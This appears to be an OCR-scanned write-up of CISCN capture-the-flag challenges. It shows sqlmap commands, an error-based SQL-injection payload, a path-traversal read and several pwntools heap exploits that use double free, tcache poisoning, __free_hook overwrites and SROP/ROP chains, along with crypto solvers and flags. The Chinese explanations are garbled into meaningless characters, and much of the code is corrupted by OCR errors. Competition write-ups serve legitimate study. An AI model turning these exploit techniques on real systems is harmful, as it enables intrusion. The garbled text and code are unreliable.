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TR R, BR—MEFRFME, BAEEEFT RsqEN, B2t illiEN =2 mA

S8 AT LA i S A psswd
FibpINE R TR G IRIFFE A HY
sqlmap$a

sqlmap -r 2.txt --dbs

HEIBIEL N security
RIEHR,

sqlmap -r 2.txt -D security -tables

RIVE Pk Ruserfl flag, &INESEHEE HKNEITAE, FWRATEEERBLR, EREWUHITHME
ISR JE IRYE TC 5 B E R 51 44

W& payloadR 2 ) :

uname=1&passwd=-1"') or updatexml(1l,concat(@x7e, (select*from (select * from flag as a join flag as b
using(id,no) )as c)),1)%23&Submit=%E7%99%BB%E5%BD%95

BE| 7B 4, HiEsqimapZflag:

sqlmap -r 2.txt -D security -T flag -C e912202a-a4b@-4e24-967c-4685af6abf3f -dump -technique E
CISCN{fONHd-xmnAP-AXxGum-2cP6z-EwmdS-}

(1)easy_source
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(1)glass | solved
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from Crypto.Cipher import ARC4
res = [@xA3, Ox1A, OxE3, Ox69, Ox2F, OxBB, Ox1A, Ox84, Ox65, OxC2, OXAD, OxAD, OxOE, 0x96, Ox05, 0x02, OX1F,
Ox8E, Ox36, Ox4F, OxE1l, OXEB, OXAF, OxFO, OxEA, OxC4, OxA8, Ox2D, 0x42, OxC7, Ox6E, Ox3F, OxBO, OxD3, OxCC,
0x78, OxF9, 0x98, Ox3F]
keyl = b"12345678"
rc4 = ARC4.new(key)
keyl = list(key)
for i in range(39):
res[i] ~= keyl[i % 8]
for i in range(@, 39, 3):
tmp@ = res[i]
tmpl
tmp2 = res[i+2]

res[i+1]
res[i] = tmpl ~ tmp2
res[i+2] = tmp® ~ res[i]

res[i+1l] = res[i+2] ~ tmp2
print(rc4.decrypt(bytes(res)))

B A1 2lflag: CISCN{6654d84617f627c88846c172e0f4d46¢})

(1)CLASSIS

BHAETH MR —FHADF G XA ERARN—5 MR8, 7TA#IARADFGXED, (H2 BT H NI ALEIHE
AEEIRTS, X B REUA — AWM itkhttps://www.dcode. fr/adfgx-cipher#q7 % Fl A TF 3 15 2 1 77 ST HEMR S .


https://r0yanx.com/2020/10/28/fslh-writeup/
https://www.dcode.fr/adfgx-cipher#q7

BRI H L A\APHQGMEAYNOFDXKRCVSZWBUTIL EKEY B {E#TE S, HBEXA
MMYOBFYSBHKOSOXYMOXXIIPBCDOXOXOOOOSYMRPOPCINBBFLXBYKPOOMYYOBLOEPPFBPKCKK

4 | 1 | 3

RIERATIEARE, MO, REHETIHBEA10, [
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Flag wrapper

Secret

Test

syntax = "proto3";

message PBResponse {



int32 code = 1,
int64 flag_part_convert_to_hex plz = 2;
message data {
string junk_data = 2;
string flag_part = 1;
}
repeated data datalL.ist = 3;
int32 flag_part_plz_convert_to_hex = 4;

string flag_last_part = 5;

message PBRequest {
string cate_id = 1;
int32 page = 2;
int32 pageSize = 3;

}

B & proto3, #[aI3k

e 4 proto3C 44 # python

HWRBITEE

R b FNUMBERNIE flag ) HE 51 I 7
Flag_part_convert_to_hex plz=15100450
Flag_part_plz _convert_to_hex=16453958
R BAR B
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(1)running_pixel
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from PIL import Image
import os
res = Image.new("P", (400,400), 255)
files = os.listdir('running_pixel.gif.ifl")
for i in range(382):
img = Image.open("running_pixel.gif.ifl/{}".format(files[i])).convert("RGB")

cnt = @
for x in range(400):
cnt += 1

for y in range(400):
rgb = img.getpixel((x,y))
if rgb == (233,233,233):
res.putpixel((y,x), 9)
res.save("output/{}.png".format(i))
break
if rgb == (233, 233, 233):
break
if cnt == 400:
res.save("outputA/{}.png".format(i))
res.save("res.png")

BB RIRIS— R, 332K, MMM ERIRFHAEZ/EHE T flag

CISCN{12504d0f-9de1-4b00-87a5-a5fdd0986a00}

(1)lonelywolfx
B KRR

Eitdobule freeiXANRA E M unsortded binittElibc 4R 5 #T free hook



W S %E FREA B

B T Z AT A

from pwn import *

context(log_level="'debug',arch="amd64")

libc=ELF("1libc-2.27.s0")

local = o

if local == 1:
io=process('./lonelywolf")

else:
io=remote("ip",%% 1)

elf=ELF('./lonelywolf")

def alloc(size):
io.recvuntil('Your choice: ')
io.sendline('1")
io.recvuntil('Index: ')
io.sendline(str(0))
io.recvuntil('Size: ')
io.sendline(str(size))

def fill(content):
io.recvuntil('Your choice: ')
io.sendline('2")
io.recvuntil('Index: ')
io.sendline(str(0))
io.recvuntil("Content: ")
io.sendline(content)

def free():
io.recvuntil('Your choice: ')
io.sendline('4")
io.recvuntil('Index: ')
io.sendline(str(0))

def show():
io.recvuntil('Your choice: ')
io.sendline('3")
io.recvuntil('Index: ')
io.sendline(str(0))
io.recvuntil("Content: ")

alloc(0x70)

free()

payloadl = p64(@)+b'a’

fill(payloadl)

free()

show()

heap_addr = u64(io.recv(6)+b"\x00"*2) - 0x260

log.success("heap_addr==>" + hex(heap_addr))

payload2 = heap_addr + 0x10

fill(p64(payload2))

alloc(0x70)

alloc(0x70)

fill('\x07'*0x40)

free()

show()

addr = u64(io.recvuntil('\x7f"')[-6:].1just(8,"'\x00"))

libc_base = addr - 0x3ebca®

log.success("libc_base==>" + hex(libc_base))

free_hook=1ibc_base+libc.sym['_free_hook"']

system=1ibc_base+libc.sym['system']

payload3 = '\x01'*0x40+p64(free_hook-8)


https://www.cnblogs.com/z2yh/p/14152823.html
https://www.cnblogs.com/z2yh/p/14152823.html
https://www.cnblogs.com/z2yh/p/14152823.html
https://www.cnblogs.com/z2yh/p/14152823.html
https://www.cnblogs.com/z2yh/p/14152823.html

fill(payload3)

alloc(0x10)
fi11('/bin/sh\x00'+p64(system))
free()

io.interactive()

CISCN{153zb-Fwugb-rT2Qx-E20H1-ijI3m-}

(2)middle_source

HZAMAT —T, KI.listing
U 1) R B S

Vi i1 /& phpinfo

&% pyload

cf=../../../../../etc/jaeccjcdfe/ceiaeeebfi/febachejea/cddedgeafb/ahfjfdfacj/fla44444g

F Fdhackbar 1% {3k f5flag

(2)silverwolf
from pwn import *

#from LibSearcher import *



context.log_level = "debug"

amd64 = True

if amd64:

context.arch = "amd64"

else:

context.arch = "i386"

local = False

if local:

p = process("./silverwolf",env={"LD_PRELOAD":"./libc-2.27.s0"})
if amd64:

libc = ELF("./libc-2.27.s0")

else:

libc = ELF("/lib/i386-linux-gnu/libc.s0.6")
else:

p = remote(™,)

libc = ELF("./libc-2.27.s0")

elf = ELF("./silverwolf")

def g_p(params):
param=""
foriin params:
param += (i + "\n")
gdb.attach(p, param)
def g():

gdb.attach(p)

s = lambda a: p.send(str(a))

sa = lambda a, b: p.sendafter(str(a), str(b))

sl = lambda a: p.sendline(str(a))

sla = lambda a, b: p.sendlineafter(str(a), str(b))

r = lambda a=4096: p.recv(a)



rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(str(a))

shell = lambda: p.interactive()

def choice(index):
sla("Your choice: ",str(index))
def add(size):
choice(1)
sla("Index: ","0")
sla("Size: ",str(size))
def delete():
choice(4)
sla("Index: ","0")

def show():
choice(3)
sla("Index: ","0")

def edit(content):
choice(2)
sla("Index: ","0")

sa("Content: ",content)

for i in range(7):
add(0x78)

for i in range(16):
add(0x18)

for i in range(16):
add(0x60)

for i in range(16):

add(0x50)



add(0x78)

delete()

add(0x58)

delete()

add(0x48)

delete()

add(0x58)

delete()

edit(p64(0) + "\n")

delete()

show()

p.recvuntil("Content: ")

off = 0x65555575a1b0-0x555555758250
heap_addr = u64(p.recv(numb=6).ljust(0x8,"\x00"))-off
log.success(hex(heap_addr))

add(0x58)

add(0x58)

edit(p64(0)+"\n")

add(0x58)

delete()

choice(3)

sla("Index: ","1"*0x500)

show()

p.recvuntil("Content: ")

off = Ox7ffff7b81cf0 - Ox7ffff7796000
libc.address = u64(p.recv(numb=6).ljust(0x8,"\x00")) - off

log.success(hex(libc.address))

sigframe = SigreturnFrame()
sigframe.rdi = heap_addr+0x400+0x70

sigframe.rsi = 0



sigframe.rdx =0

sigframe.rsp = heap_addr + 0x400

sigframe.rbp = heap_addr + 0x400

sigframe.rip = libc.address + 0x0000000000054da7 #mov eax,2;ret;
pwndbg> x/20gx 0x555555758250+0x400

0x555555758650: 0xX0000000000000000 0x0000000000000000
0x555555758660: 0x0000000000000000 0x0000000000000000
0x555555758670: 0x0000000000000000 0x0000000000000000
0x555555758680: 0x0000000000000000 0x0000000000000000
0x555555758690: 0x0000000000000000 0x0000000000000000
0x5555557586a0: 0x0000000000000000 0x0000000000000000
0x5555557586b0: 0xX0000000000000000 0x0000000000000000
0x5555557586¢0: 0x0000000000000000 0x0000000000000000
0x5555557586d0: 0x0000000000000000 0x0000000000000000
0x5555557586e0: 0x0000000000000000 0x0000000000000000
add(0x78)

delete()

edit(p64(0)+"\n")

delete()

edit(p64(heap_addr) + "\n")

add(0x78)

add(0x78)

edit(str(sigframe)[:120])

add(0x78)

delete()

edit(p64(0)+"\n")

delete()

edit(p64(heap_addr+0x78) + "\n")

add(0x78)



add(0x78)

edit(str(sigframe)[120:240])

add(0x78)

delete()

edit(p64(0)+"\n")

delete()

edit(p64(heap_addr+0x400) + "\n")

add(0x78)

add(0x78)

rop = p64(0x00000000000d2745+libc.address)

rop += p64(libc.address+0x00000000000215bf) #pop rdi
rop += p64(3)

rop += p64(libc.address+0x0000000000023eea) #pop rsi
rop += p64(heap_addr+0x400+0x100)

rop += p64(libc.address+0x0000000000001b96) #pop rdx
rop += p64(0x100)

rop += p64(libc.symbols["read"])

rop += p64(libc.address+0x00000000000215bf)

rop += p64(1)

rop += p64(libc.symbols[“write"])

rop += (0x70 - len(rop))*\x00"

rop +="./flag\n"

edit(rop)

add(0x78)
delete()
edit(p64(0)+"\n")
delete()

edit(p64(heap_addr) + "\n")



add(0x78)

add(0x48)
delete()
edit(p64(0)+"\n")
delete()

edit(p64(libc.symbols["__free _hook"]) + "\n")

add(0x48)
add(0x48)

edit(p64(libc.symbols["setcontext"]+53) + "\n")

add(0x78)
delete()

shell()

CISCN{Em029-BT0m0-JFPZa-50Z4W-cgZ2W-}

(1)pwny

# coding=utf-8

from pwn import *
sh=process('./pwny"')
sh=remote('ip", % 1)
elf=ELF("./pwny")
libc=ELF("./libc-2.27.s0'")
sh.recvuntil("Your choice: ')
sh.sendline('2')
sh.sendline('256'")
sh.sendline('2')

sh.sendline('256')



sh.sendline('1")

sh.send(p64(Oxfffffffffffffffc))

sh.recvuntil('Result: ')

leak_addr=sh.recv(12)

leak_addr='0x+leak_addr

print leak_addr

leak _addr=int(leak_addr, 16)

log.success('leak addr: '+hex(leak _addr))
libc_base=leak addr-libc.sym[' IO 2 1 stderr ']
log.success('libc base: '+hex(libc_base))
sh.sendline('1")

sh.sendline(p64(OXfffffffffffff5))

sh.recvuntil('Result: ")

pie_base=sh.recv(12)

pie_base="0x+pie_base

pie_base=int(pie_base, 16)-0x202008
log.success('pie base: thex(pie_base))
all_base=libc_base-pie_base

log.success('base betweeen libc and pie: '+hex(all_base))
onegadget=[0x4f3d5, 0x4f432, 0x10a41c]
sh.sendline('1")
sh.send(p64((all_base+libc.sym['__environ']-0x202060)/8))
sh.recvuntil('Result: ')

stack_addr=int('Ox'+sh.recv(12), 16)

ret_addr=stack addr+0x120
ret_offest=(ret_addr-pie_base+0x202060-0x404300)/8
sh.sendline('2')

sh.sendline(str(ret_offest))
sh.send(p64(libc_base+onegadget[2]))

sh.interactive()
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(2)move

REB R H 55— PR yBUE I — A RFERE AT RAE, REARBXy. 2J5 M ENREAT R, FRAGE
Ki#pq, wERHP

#Rxy
n=80263253261445006152401958351371889864136455346002795891511487600252909606767728751977

4 | I | 3

half_n=int(sqrt(n))

=67595664083683668964629173652731210158790440033379175857028564313854014366016864587830

4 | 1 | 3

M=matrix([[half_n,e],

[0,-n]])
L=M.LLL()[0]

mm=matrix([-
2354369129453366623910261244711052193957702173281620189315946094195827451142519482388402
4068506086554074862980190950131463488478059751200617609296827918829480497420961959788000

< | i | 3

bound=int(sqrt(2*n))//12

X,y=26279444166664821795077701675621823220865336004430428203703688888211697122228,2213187

4 | T | 3

assert x<bound
assert y<bound//x
#_4rkKs=p+q

def magic(K,N):

for i in range(515):
s = (I+r)//2
v = s*s-int(9*s"2*(K-1-s)*(K-1-s))//(round(N"0.25)*round(N"0.25))
if v<4*N:

I=s



else:

r=s

return r

€=67595664083683668964629173652731210158790440033379175857028564313854014366016864587830

4 | I | 3

X,y=26279444166664821795077701675621823220865336004430428203703688888211697122228,2213187

< | T | 3

n=80263253261445006152401958351371889864136455346002795891511487600252909606767728751977

4 | I | 3

k=e*x-y*n

K=k/ly

s=magic(K,n)

print(s)

#RITHERp,q

from z3 import *

s=Solver()

p.a=Ints("p q")
s.add(p+g==183830138521552072848668348506245016491341646885038831622168242588427900329924

4 | 1 | 3

s.add(p*q==802632532614450061524019583513718898641364553460027958915114876002529096067677

< | T | 3

if s.check()==sat:
print(s.model())

#i#P=eG

a=0

b=80263253261445006152401958351371889864136455346002795891511487600252909606767728751977

4 | I | 3

e =
6759566408368366896462917365273121015879044003337917585702856431385401436601686458783096

< | T | 3

p=71371101020225351233486646566898489835481912569347557092152363250848643989931492882432

< | T | 3

q=11245903750132672161518170193934652665585973431569127453001587933757925633999288095689

4 | 1 | 3
phi=(p+1)*(q+1)

X,y=6785035174838834841914183175930647480879288136014127270387869708755060512201304812721
3823305204732194636228357995152485752804779382007107962948363899535774039003025304648315

< | T | 3




d=inverse_mod(e,phi)

E = EllipticCurve(GF(p),[a,b])

C=E(lxy])

G=d*C

from Crypto.Util.number import *
print(long_to_bytes(G[0])+long_to_bytes(G[1]))

#CISCN{e91fef4ead7463b13d00bda65f540477}

(2)bc
clang B £ 4 ¥t AT $h AT S0

clang baby.bc -o baby

FKHidak g%, ZHAEMRK
ARASIZ LR 5, SEIE R 5 DL SRZ3 R B ol
CISCN{8a04b4597ad08b83211d3adfa1f61431}



from z3 import *
from hashlib import md5

row = [[0x00, 0x00, 0x00, O0x01],[0x01, Ox00, Ox00, Ox00], [0Ox02, Ox00, Ox00, 0x01l], [Ox00, Ox00, 0x00,
0x00], [0x01, 0x00, 0x01, 0x00]]

col = [[0x00, Ox00, Ox02, Ox00,0x02], [Ox00, Ox00, Ox00, Ox00, Ox00], [Ox00, Ox00, Ox00, Ox01, Ox88], [OXx00,
0x01, 0x00, 0x00, 0x081]]

s = Solver()

map = [[Int("x%d%d"%(i, j)) for i in range(5)] for j in range(5)]
print(map)
s.add(map[2][2]
s.add(map[3][3]
for i in range(5):
for j in range(5):
s.add(map[i][j] >= 1)
s.add(map[i][j] <= 5)
for i in range(5):
for j in range(5):
for k in range(j):
s.add(map[1]1[j] != map[i][k])
for j in range(5):
for i in range(5):
for k in range(i):
s.add(map[i]1[j] != map[k][]])
for i in range(5):

4)
3)

for j in range(4):
if row[i][j] == 1:
s.add(map[i][j] > map[i][j+1])
elif row[i][j] == 2:
s.add(map[i][j] < map[i][j+1])
for i in range(4):
for j in range(5):
if col[i][]j] == 2:
s.add(map[i][j] > map[i+1][]])
elif col[i][]j] == 1:
s.add(map[i][j] < map[i+1][]])

answer = s.check()
print(answer)
if answer == sat:
print(s.model())
m = s.model()
flag = []
for i in map:
for j in 1i:
flag.append(m[j].as_long())
for i in range(len(flag)):
flag[i] += ox30
flag[12] = ox30
flag[18] = 0x30
flag = bytes(flag)
print(flag)

print(md5(flag).hexdigest())



(3)rsa

flag/r A=B. F—BEKBHST, FoBEIEERT, % =B &Coppersmith partial information attack (&
sageftfi%)

#!/usr/bin/env python

# coding: utf-8

# In[8]:

# RN fe BBt
import gmpy2
#import time

import binascii as B

n = 1238144703945505983632805188489145469381377310267779758858467336724944939757030697600

< | T | 3

¢ = 1910576528551066755331389881349822021242117752764718780254991391426396894549314463339

4 | 1 | 3

e=3
i=0
#s = time.clock()
while 1:
m, b = gmpyZ2.iroot(c+i*n, e)
if b:
#print('[-lmis:’, m)
#print(hex(m))
print(B.a2b_hex(hex(m)[2:]))
#print('[!]Timer:', round(time.clock()-s, 2), 's')
#print('[']JAll Done!")
break

i+=1

# In[29):



import gmpy2

def exgcd(a, b):
if b==0: return 1, 0
X, y = exgcd(b, a%b)

return y, x-a//lb*y

N = 111381961169589927896512557754289420474877632607334685306667977794938824018345795836:

< | T | 3

e2 = 65537

message1 = 54995751387258798791895413216172284653407054079765769704170763023830130981480z

4 | T | 3

message2 = 912909352674583565419593273812200674661048904553911039896398228557537978053541

< | i | 3

X, y = exgcd(e1, e2)

assert x'e1 + y*e2 ==

m = gmpy2.powmod(message1, x, N) * gmpy2.powmod(message2, y, N) % N

#print(hex(m))

print(B.unhexlify(hex(m)[2:]))

#In[17]:

n=11343293015503326376927071282512176108081395210066669360686635591711641698414916550723

< | T | 3




p=11437038763581010263116493983733546014403343859218003707512796706928880848035239990740

4| mn | b

g=99180331989638797983623295076372567060105629624873297424009331927215493070873324821073

4| m | D

e= 65537

c= 5921369644237376589594870261165975677981389765302208090563554563690543403830646893528:

4 | I | 3

phi=(p-1)*(a-1)

d=gmpy2.invert(e,phi)

m=pow(c,d,n)
#print(hex(m))

print(B.unhexlify(hex(m)[2:]))

#1n[]:

CISCN{3943e8843a19149497956901e5d98639}
FHRIE T #ALHE, FWERIAECSDNEE F# R H A KM ?
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